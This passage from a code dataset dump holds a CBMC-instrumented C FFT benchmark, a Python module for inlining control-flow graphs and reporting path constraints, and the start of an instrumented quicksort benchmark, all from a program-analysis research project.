counter\n//==========> fft : header 3\nint __count_39 = 0;\nint __count_4_39 = 0;\nint __count_11_13 = 0;\nint __count_12_13 = 0;\nint __count_33_34 = 0;\nint __count_37_38 = 0;\n#endif\n int i, j, k, it, xp, xp2, j1, j2, iter;\n double sign, w, wr, wi, dr1, dr2, di1, di2, tr, ti, arg;\n\n if (n < 2) // 3\n {\n #ifdef CBMC\n __count_4_39++;\n __count_39++;\n #endif\n\n#ifdef CBMC\nassert(__count_25_26 >= 2); // Lower capacity constraint\nassert(__count_25_26 <= 2); // Upper capacity constraint\nassert(__count_25_27 >= 5); // Lower capacity constraint\nassert(__count_25_27 <= 5); // Upper capacity constraint\nassert(__count_30_29 >= 4); // Lower capacity constraint\nassert(__count_30_29 <= 4); // Upper capacity constraint\nassert(__count_37_38 <= 1); // Upper capacity constraint\nassert(__count_39 >= 1); // Lower capacity constraint\nassert(__count_39 <= 1); // Upper capacity constraint\nassert(__count_37_36 <= 8); // Upper capacity constraint\nassert(__count_33_34 <= 1); // Upper capacity constraint\nassert(__count_9_8 >= 1); // Lower capacity constraint\nassert(__count_9_8 <= 1); // Upper capacity constraint\nassert(__count_11_13 <= 1); // Upper capacity constraint\nassert(__count_12_13 <= 1); // Upper capacity constraint\nassert(__count_19_18 >= 4); // Lower capacity constraint\nassert(__count_19_18 <= 4); // Upper capacity constraint\nassert(__count_19_20 >= 4); // Lower capacity constraint\nassert(__count_19_20 <= 4); // Upper capacity constraint\nassert(__count_21_22 >= 1); // Lower capacity constraint\nassert(__count_21_22 <= 1); // Upper capacity constraint\nassert(__count_4_39 == 0); // Dead code\nassert(__count_33_34 > 0 ==> __count_12_13 > 0); // Mutual inclusion\nassert(__count_12_13 > 0 ==> __count_33_34 > 0); // Mutual inclusion\nassert(__count_37_36 > 0 ==> __count_11_13 > 0); // Mutual inclusion\nassert(__count_11_13 > 0 ==> __count_37_36 > 0); // Mutual inclusion\nassert(__count_37_38 > 0 ==> __count_11_13 > 0); // Mutual inclusion\nassert(__count_11_13 > 0 ==> __count_37_38 > 0); // Mutual inclusion\nassert(__count_37_38 > 0 ==> __count_37_36 > 0); // Mutual inclusion\nassert(__count_37_36 > 0 ==> __count_37_38 > 0); // Mutual inclusion\nassert(__count_33_34 > 0 ==> __count_11_13 == 0); // Mutual exclusion\nassert(__count_11_13 > 0 ==> __count_33_34 == 0); // Mutual exclusion\nassert(__count_37_36 > 0 ==> __count_12_13 == 0); // Mutual exclusion\nassert(__count_12_13 > 0 ==> __count_37_36 == 0); // Mutual exclusion\nassert(__count_37_38 > 0 ==> __count_12_13 == 0); // Mutual exclusion\nassert(__count_12_13 > 0 ==> __count_37_38 == 0); // Mutual exclusion\nassert(__count_11_13 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_30_29 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_30_29 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_30_29 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_30_29 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_30_29 > 0); // Execution dependence\n#endif\n\n return 999; // 4\n }\n\n iter = log((double)n)/log(2.0);\n j = 1;\n #ifdef CBMC\n __count_9_8_L = 0;\n #endif\n for(i = 0; i < iter; i++) // 9\n {\n #ifdef CBMC\n __count_9_8_L++;\n __count_9_8++;\n #endif\n j *= 2;\n }\n #ifdef CBMC\n assert(__count_9_8_L <= 2); // Loop counter property\n #endif\n\n /* Main FFT Loops */\n #ifdef CBMC\n // TODO: check\n if (flag == 1) // 10\n {\n sign = 1.0; // 12?\n __count_12_13++;\n }\n else\n {\n sign = -1.0; // 11?\n __count_11_13++;\n }\n #else\n sign = ((flag == 1) ? 1.0 : -1.0); // 10, 11, 12\n #endif\n xp2 = n;\n\n #ifdef CBMC\n __count_23_14 = 0;\n #endif\n for(it = 0; it < iter; it++) // 23\n {\n #ifdef CBMC\n __count_23_14++;\n #endif\n\n // 14\n xp = xp2;\n xp2 /= 2;\n w = PI / xp2;\n #ifdef CBMC\n __count_21_15 = 0;\n #endif\n for(k = 0; k < xp2; k++) // 21\n {\n #ifdef CBMC\n __count_21_15++;\n #endif\n arg = k * w;\n wr = cos(arg);\n wi = sign * sin(arg);\n i = k - xp;\n #ifdef CBMC\n __count_19_18_L = 0;\n #endif\n for(j = xp; j <= n; j += xp) // 19\n {\n #ifdef CBMC\n __count_19_18_L++;\n __count_19_18++;\n #endif\n \tj1 = j + i;\n \tj2 = j1 + xp2;\n \tdr1 = realArray[j1];\n \tdr2 = realArray[j2];\n \tdi1 = imaginaryArray[j1];\n \tdi2 = imaginaryArray[j2];\n \ttr = dr1 - dr2;\n \tti = di1 - di2;\n \trealArray[j1] = dr1 + dr2;\n \timaginaryArray[j1] = di1 + di2;\n \trealArray[j2] = tr * wr - ti * wi;\n \timaginaryArray[j2] = ti * wr + tr * wi;\n }\n #ifdef CBMC\n assert(__count_19_18_L <= 2); // Loop counter property\n __count_19_20++;\n #endif\n }\n #ifdef CBMC\n assert(__count_21_15 <= 5); // Loop counter property\n __count_21_22++;\n #endif\n }\n #ifdef CBMC\n assert(__count_23_14 <= 2); // Loop counter property\n #endif\n// 24\n /* Digit Reverse Counter */\n j1 = n / 2;\n j2 = n - 1;\n j = 1;\n\n #ifdef CBMC\n __count_32_25 = 0;\n #endif\n for(i = 1;i <= j2; i++) // 32\n {\n #ifdef CBMC\n __count_32_25++;\n #endif\n\n if(i < j) // 25\n {\n #ifdef CBMC\n __count_25_26++;\n #endif\n // 26\n tr = realArray[j-1];\n ti = imaginaryArray[j-1];\n realArray[j-1] = realArray[i-1];\n imaginaryArray[j-1] = imaginaryArray[i-1];\n realArray[i-1] = tr;\n imaginaryArray[i-1] = ti;\n }\n #ifdef CBMC\n else __count_25_27++;\n #endif\n \n k = j1;\n #ifdef CBMC\n __count_30_29_L = 0;\n #endif\n while(k < j) // 30\n {\n #ifdef CBMC\n __count_30_29_L++;\n __count_30_29++;\n #endif\n j -= k;\n k /= 2;\n }\n #ifdef CBMC\n assert(__count_30_29_L <= 3); // Loop counter property\n #endif\n j += k;\n }\n #ifdef CBMC\n assert(__count_32_25 <= 8); // Loop counter property\n #endif\n \n if(flag == 0) // 33\n {\n #ifdef CBMC\n __count_33_34++;\n __count_39++;\n #endif\n\n#ifdef CBMC\nassert(__count_25_26 >= 2); // Lower capacity constraint\nassert(__count_25_26 <= 2); // Upper capacity constraint\nassert(__count_25_27 >= 5); // Lower capacity constraint\nassert(__count_25_27 <= 5); // Upper capacity constraint\nassert(__count_30_29 >= 4); // Lower capacity constraint\nassert(__count_30_29 <= 4); // Upper capacity constraint\nassert(__count_37_38 <= 1); // Upper capacity constraint\nassert(__count_39 >= 1); // Lower capacity constraint\nassert(__count_39 <= 1); // Upper capacity constraint\nassert(__count_37_36 <= 8); // Upper capacity constraint\nassert(__count_33_34 <= 1); // Upper capacity constraint\nassert(__count_9_8 >= 1); // Lower capacity constraint\nassert(__count_9_8 <= 1); // Upper capacity constraint\nassert(__count_11_13 <= 1); // Upper capacity constraint\nassert(__count_12_13 <= 1); // Upper capacity constraint\nassert(__count_19_18 >= 4); // Lower capacity constraint\nassert(__count_19_18 <= 4); // Upper capacity constraint\nassert(__count_19_20 >= 4); // Lower capacity constraint\nassert(__count_19_20 <= 4); // Upper capacity constraint\nassert(__count_21_22 >= 1); // Lower capacity constraint\nassert(__count_21_22 <= 1); // Upper capacity constraint\nassert(__count_4_39 == 0); // Dead code\nassert(__count_33_34 > 0 ==> __count_12_13 > 0); // Mutual inclusion\nassert(__count_12_13 > 0 ==> __count_33_34 > 0); // Mutual inclusion\nassert(__count_37_36 > 0 ==> __count_11_13 > 0); // Mutual inclusion\nassert(__count_11_13 > 0 ==> __count_37_36 > 0); // Mutual inclusion\nassert(__count_37_38 > 0 ==> __count_11_13 > 0); // Mutual inclusion\nassert(__count_11_13 > 0 ==> __count_37_38 > 0); // Mutual inclusion\nassert(__count_37_38 > 0 ==> __count_37_36 > 0); // Mutual inclusion\nassert(__count_37_36 > 0 ==> __count_37_38 > 0); // Mutual inclusion\nassert(__count_33_34 > 0 ==> __count_11_13 == 0); // Mutual exclusion\nassert(__count_11_13 > 0 ==> __count_33_34 == 0); // Mutual exclusion\nassert(__count_37_36 > 0 ==> __count_12_13 == 0); // Mutual exclusion\nassert(__count_12_13 > 0 ==> __count_37_36 == 0); // Mutual exclusion\nassert(__count_37_38 > 0 ==> __count_12_13 == 0); // Mutual exclusion\nassert(__count_12_13 > 0 ==> __count_37_38 == 0); // Mutual exclusion\nassert(__count_11_13 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_30_29 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_30_29 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_30_29 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_30_29 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_30_29 > 0); // Execution dependence\n#endif\n\n return 0; // 34\n }\n\n w = n;\n #ifdef CBMC\n __count_37_36_L = 0;\n #endif\n for(i = 0; i < n; i++) // 37\n {\n #ifdef CBMC\n __count_37_36_L++;\n __count_37_36++;\n #endif\n realArray[i] /= w;\n imaginaryArray[i] /= w;\n }\n #ifdef CBMC\n assert(__count_37_36_L <= 9); // Loop counter property\n __count_37_38++;\n #endif\n\n #ifdef CBMC\n __count_39++;\n #endif\n\n#ifdef CBMC\nassert(__count_25_26 >= 2); // Lower capacity constraint\nassert(__count_25_26 <= 2); // Upper capacity constraint\nassert(__count_25_27 >= 5); // Lower capacity constraint\nassert(__count_25_27 <= 5); // Upper capacity constraint\nassert(__count_30_29 >= 4); // Lower capacity constraint\nassert(__count_30_29 <= 4); // Upper capacity constraint\nassert(__count_37_38 <= 1); // Upper capacity constraint\nassert(__count_39 >= 1); // Lower capacity constraint\nassert(__count_39 <= 1); // Upper capacity constraint\nassert(__count_37_36 <= 8); // Upper capacity constraint\nassert(__count_33_34 <= 1); // Upper capacity constraint\nassert(__count_9_8 >= 1); // Lower capacity constraint\nassert(__count_9_8 <= 1); // Upper capacity constraint\nassert(__count_11_13 <= 1); // Upper capacity constraint\nassert(__count_12_13 <= 1); // Upper capacity constraint\nassert(__count_19_18 >= 4); // Lower capacity constraint\nassert(__count_19_18 <= 4); // Upper capacity constraint\nassert(__count_19_20 >= 4); // Lower capacity constraint\nassert(__count_19_20 <= 4); // Upper capacity constraint\nassert(__count_21_22 >= 1); // Lower capacity constraint\nassert(__count_21_22 <= 1); // Upper capacity constraint\nassert(__count_4_39 == 0); // Dead code\nassert(__count_33_34 > 0 ==> __count_12_13 > 0); // Mutual inclusion\nassert(__count_12_13 > 0 ==> __count_33_34 > 0); // Mutual inclusion\nassert(__count_37_36 > 0 ==> __count_11_13 > 0); // Mutual inclusion\nassert(__count_11_13 > 0 ==> __count_37_36 > 0); // Mutual inclusion\nassert(__count_37_38 > 0 ==> __count_11_13 > 0); // Mutual inclusion\nassert(__count_11_13 > 0 ==> __count_37_38 > 0); // Mutual inclusion\nassert(__count_37_38 > 0 ==> __count_37_36 > 0); // Mutual inclusion\nassert(__count_37_36 > 0 ==> __count_37_38 > 0); // Mutual inclusion\nassert(__count_33_34 > 0 ==> __count_11_13 == 0); // Mutual exclusion\nassert(__count_11_13 > 0 ==> __count_33_34 == 0); // Mutual exclusion\nassert(__count_37_36 > 0 ==> __count_12_13 == 0); // Mutual exclusion\nassert(__count_12_13 > 0 ==> __count_37_36 == 0); // Mutual exclusion\nassert(__count_37_38 > 0 ==> __count_12_13 == 0); // Mutual exclusion\nassert(__count_12_13 > 0 ==> __count_37_38 == 0); // Mutual exclusion\nassert(__count_11_13 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_11_13 > 0 ==> __count_30_29 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_12_13 > 0 ==> __count_30_29 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_30_29 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_37_36 > 0 ==> __count_30_29 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_39 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_9_8 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_19_18 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_19_20 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_21_22 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_25_27 > 0); // Execution dependence\nassert(__count_37_38 > 0 ==> __count_30_29 > 0); // Execution dependence\n#endif\n\n return 0;\n}\n\nint \nmain (int argc, char *argv[])\n{\n int i;\n int n = ARRAY_SIZE;\n int flag;\n int chkerr;\n\n /*\n * At least eight values must be supplied\n */\n if (argc != 9)\n {\n return 1;\n }\n\n for (i = 0; i < argc - 1; ++i)\n {\n sscanf(argv[i+1], \"%lf\", realArray+i);\n }\n\n /* forward fft */\n flag = 0;\n chkerr = fft(ARRAY_SIZE, flag);\n\n /* inverse fft */\n flag = 1;\n chkerr = fft(ARRAY_SIZE, flag);\n \n printf(\"%d\", chkerr);\n\n return 0;\n}\n\n\n" }, { "alpha_fraction": 0.5838536024093628, "alphanum_fraction": 0.5848467946052551, "avg_line_length": 52.732826232910156, "blob_id": "4c26623708ed1c100b53d7dd9ba697a5db94d78a", "content_id": "686c4e55cb5292924f90f932bea66292da1a2cd2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7048, "license_type": "no_license", "max_line_length": 125, "num_lines": 131, "path": "/DaikonPathInformation/src/programs.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import directed_graphs\nimport vertices\nimport debug\nimport copy\n \nclass Program:\n def __init__(self):\n self.callg = directed_graphs.CallGraph()\n self.cfgs = {}\n self.archived_cfgs = {}\n\n def get_context_graph(self):\n return directed_graphs.ContextGraph(self.callg)\n \n def addCFG (self, cfg):\n assert cfg.name not in self.cfgs, \"Trying to add duplicate CFG for function '%s'\" % cfg.name\n self.callg.addVertex(cfg.name)\n self.cfgs[cfg.name] = cfg\n \n def remove_function(self, function_name):\n if function_name in self.cfgs:\n # Archive the CFG as it is no longer needed\n cfg = self.cfgs[function_name]\n self.__archivedCFGS[function_name] = cfg\n del self.cfgs[function_name]\n if self.callg.hasVertexWithName(function_name):\n self.callg.removeVertex(function_name)\n \n def remove_problematic_functions(self):\n functions = set()\n for function_name, cfg in self.cfgs.iteritems():\n callee_name = cfg.is_call_site(cfg.get_exitID())\n if callee_name is not None or cfg.get_exitID() == vertices.dummyID:\n functions.add(function_name)\n for function_name in functions:\n # This check is essential as the function may have been removed in the meantime\n if function_name in self.cfgs:\n cfg = self.cfgs[function_name]\n dfs = directed_graphs.DepthFirstSearch(self.callg, self.callg.getVertexWithName(function_name).vertexID)\n for vertexID in dfs.getPostorder():\n callv = self.callg.getVertex(vertexID)\n for calle in callv.getPredecessoredges():\n predID = calle.vertexID\n predv = self.callg.getVertex(predID)\n for callSiteID in calle.getCallSites():\n callerName = predv.name\n callerCFG = self.getCFG(callerName)\n callerCFG.remove_call_site(callSiteID)\n self.remove_function(callv.name)\n \n def inline_calls(self):\n debug.verbose_message(\"Inlining to create single CFG\", __name__)\n rootv = self.callg.getVertex(self.callg.rootID)\n dfs = directed_graphs.DepthFirstSearch(self.callg, rootv.vertexID)\n for vertexID in dfs.post_order:\n succv = self.callg.getVertex(vertexID)\n for calle in succv.predecessors.values():\n predv = self.callg.getVertex(calle.vertexID)\n for call_siteID in calle.getCallSites():\n debug.debug_message(\"Inlining '%s' into '%s' at call site %d\" % (succv.name, predv.name, call_siteID), 1)\n self.__doInline(self.cfgs[predv.name], self.cfgs[succv.name], call_siteID)\n self.cfgs[succv.name].remove_call_site(call_siteID)\n for vertexID in dfs.post_order:\n callv = self.callg.getVertex(vertexID)\n if callv != rootv:\n self.remove_function(callv.name)\n else:\n cfg = self.cfgs[rootv.name]\n cfg.addEdge(cfg.get_exitID(), cfg.get_entryID())\n\n def do_inline(self, callerCFG, calleeCFG, call_siteID):\n call_sitev = callerCFG.getVertex(call_siteID)\n returnv = callerCFG.getVertex(call_sitev.successors.keys()[0])\n new_entryID, new_exitID = self.duplicate_CFG(callerCFG, calleeCFG)\n self.link_duplicate(callerCFG, call_sitev, returnv, new_entryID, new_exitID)\n \n def duplicate_CFG(self, callerCFG, calleeCFG):\n oldID_to_newID = {}\n for v in calleeCFG:\n oldID_to_newID[v.vertexID] = callerCFG.get_next_vertexID()\n clonev = copy.deepcopy(v)\n clonev.vertexID = oldID_to_newID[v.vertexID]\n clonev.originalID = v.originalID\n clonev.predecessors = {}\n clonev.successors = {}\n callerCFG.addVertex(clonev)\n for v in calleeCFG:\n predID = v.vertexID\n for succID in v.successors.keys():\n if predID != calleeCFG.get_exitID() and succID != calleeCFG.get_entryID():\n new_predID = oldID_to_newID[predID]\n new_succID = oldID_to_newID[succID]\n callerCFG.addEdge(new_predID, new_succID)\n return oldID_to_newID[calleeCFG.get_entryID()], oldID_to_newID[calleeCFG.get_exitID()]\n \n def link_duplicate(self, callerCFG, callSitev, returnv, new_entryID, new_exitID): \n callerCFG.addEdge(callSitev.vertexID, new_entryID)\n callerCFG.addEdge(new_exitID, returnv.vertexID)\n callerCFG.removeEdge(callSitev.vertexID, returnv.vertexID)\n \n def output(self):\n totalMutualExclusion = 0\n totalMutualInclusion = 0\n totalDependencies = 0\n totalNever = 0\n totalAlways = 0 \n for function_name, cfg in self.cfgs.iteritems():\n pathg = self.getPathInfoGraph(function_name)\n mutualExclusionPairs = len(pathg.mutualExclusionPairs())\n mutualInclusionPairs = len(pathg.mutualInclusionPairs())\n dependencies = len(pathg.executionDependencies())\n neverExecute = pathg.numOfNeverExecuteedges()\n alwaysExecute = pathg.numOfAlwaysExecuteedges()\n totalMutualExclusion += mutualExclusionPairs\n totalMutualInclusion += mutualInclusionPairs\n totalDependencies += dependencies\n totalNever += neverExecute\n totalAlways += alwaysExecute\n debug.verbose_message(\"In %s...\" % function_name, __name__)\n debug.verbose_message(\"...#CFG edges = %d\" % cfg.numOfedges(), __name__)\n debug.verbose_message(\"...#monitored = %d\" % pathg.numOfvertices(), __name__)\n debug.verbose_message(\"...#mutual exclusion pairs = %d\" % mutualExclusionPairs, __name__)\n debug.verbose_message(\"...#mutual inclusion pairs = %d\" % mutualInclusionPairs, __name__)\n debug.verbose_message(\"...#execution dependencies = %d\" % dependencies, __name__)\n debug.verbose_message(\"...#never execute = %d\" % neverExecute, __name__)\n debug.verbose_message(\"...#always execute = %d\" % alwaysExecute, __name__)\n debug.verbose_message(\"...#TOTAL mutual exclusion pairs = %d\" % totalMutualExclusion, __name__)\n debug.verbose_message(\"...#TOTAL mutual inclusion pairs = %d\" % totalMutualInclusion, __name__)\n debug.verbose_message(\"...#TOTAL execution dependencies = %d\" % totalDependencies, __name__)\n debug.verbose_message(\"...#TOTAL never execute = %d\" % totalAlways, __name__)\n debug.verbose_message(\"...#TOTAL always execute = %d\" % totalAlways, __name__)\n \n" }, { "alpha_fraction": 0.46075740456581116, "alphanum_fraction": 0.5304610133171082, "avg_line_length": 21.563467025756836, "blob_id": "0b3bc238926a634ac98f1ee0c977277e13c096e3", "content_id": "769d0c441ad431cc2312daade72010a3eed2468c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7288, "license_type": "no_license", "max_line_length": 84, "num_lines": 323, "path": "/DaikonPathInformation/benchmarks/quicksort.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Quick sort taken from http://jeffreystedfast.blogspot.com/2007/03/quick-sort.html\n * and modified by Adam Betts to consume a\n * test vector supplied on the command line.\n *\n * For this program, the test vector is a list of integers to be sorted.\n * Note that the size of the array is determined by the number of arguments\n * given to the program, i.e. argc - 1.\n */\n\ntypedef struct qstack\n{\n int lo;\n int hi;\n} qstack_t;\n\nvoid\nquicksort (int ARRAY_SIZE, int a[])\n{\n#ifdef CBMC\n//==========> quicksort : header 10\nint __count_11_9 = 0;\nint __count_10_11 = 0; //Loop counter\n//==========> quicksort : header 6\nint __count_6_10 = 0;\nint __count_7_5 = 0;\nint __count_7_8 = 0;\nint __count_10_12 = 0;\nint __count_11_12 = 0;\nint __count_12_13 = 0;\nint __count_16_18 = 0;\nint __count_17_18 = 0;\nint __count_6_10_L = 0; //Loop counter\nint __count_6_7 = 0; //Loop counter\n//==========> quicksort : header 20\nint __count_14_19 = 0;\nint __count_20_3 = 0; //Loop counter\n//==========> quicksort : header 1\nint __count_23 = 0;\nint __count_20_21 = 0;\nint __count_22_23 = 0;\n#endif\n\n qstack_t stack[32];\n qstack_t *sp;\n int lo;\n int hi;\n int low;\n int high;\n int pivot;\n int tmp;\n\n if (ARRAY_SIZE < 2) // 1\n {\n \t// 22\n #ifdef CBMC\n __count_22_23++;\n __count_23++;\n #endif\n\n#ifdef CBMC\n//assert(__count_7_8 >= 327); // Lower capacity constraint\nassert(__count_7_8 <= 353); // Upper capacity constraint\n//assert(__count_7_5 >= 241); // Lower capacity constraint\nassert(__count_7_5 <= 516); // Upper capacity constraint\n//assert(__count_10_12 >= 156); // Lower capacity constraint\nassert(__count_10_12 <= 169); // Upper capacity constraint\nassert(__count_11_9 >= 227); // Lower capacity constraint\nassert(__count_11_9 <= 500); // Upper capacity constraint\nassert(__count_11_12 >= 164); // Lower capacity constraint\nassert(__count_11_12 <= 197); // Upper capacity constraint\nassert(__count_12_13 >= 128); // Lower capacity constraint\nassert(__count_12_13 <= 154); // Upper capacity constraint\nassert(__count_14_19 >= 100); // Lower capacity constraint\nassert(__count_14_19 <= 100); // Upper capacity constraint\nassert(__count_16_18 >= 12); // Lower capacity constraint\nassert(__count_16_18 <= 31); // Upper capacity constraint\nassert(__count_17_18 >= 68); // Lower capacity constraint\nassert(__count_17_18 <= 87); // Upper capacity constraint\nassert(__count_20_21 >= 1); // Lower capacity constraint\nassert(__count_20_21 <= 1); // Upper capacity constraint\nassert(__count_22_23 == 0); // Dead code\nassert(__count_23 >= 1); // Lower capacity constraint\nassert(__count_23 <= 1); // Upper capacity constraint\nassert(__count_6_10 == 0); // Dead code\n#endif\n\n return;\n }\n\n /* push our initial values onto the stack */\n sp = stack;\n sp->lo = 0;\n sp->hi = ARRAY_SIZE;\n sp++;\n\n #ifdef CBMC\n __count_20_3 = 0;\n #endif\n while (sp > stack) // 20\n {\n\t#ifdef CBMC\n\t__count_20_3++;\n\t#endif\n\t// 3\n\n /* pop lo and hi off the stack */\n sp--;\n high = sp->hi;\n low = sp->lo;\n\n hi = high - 1;\n lo = low;\n\n pivot = a[lo];\n\n 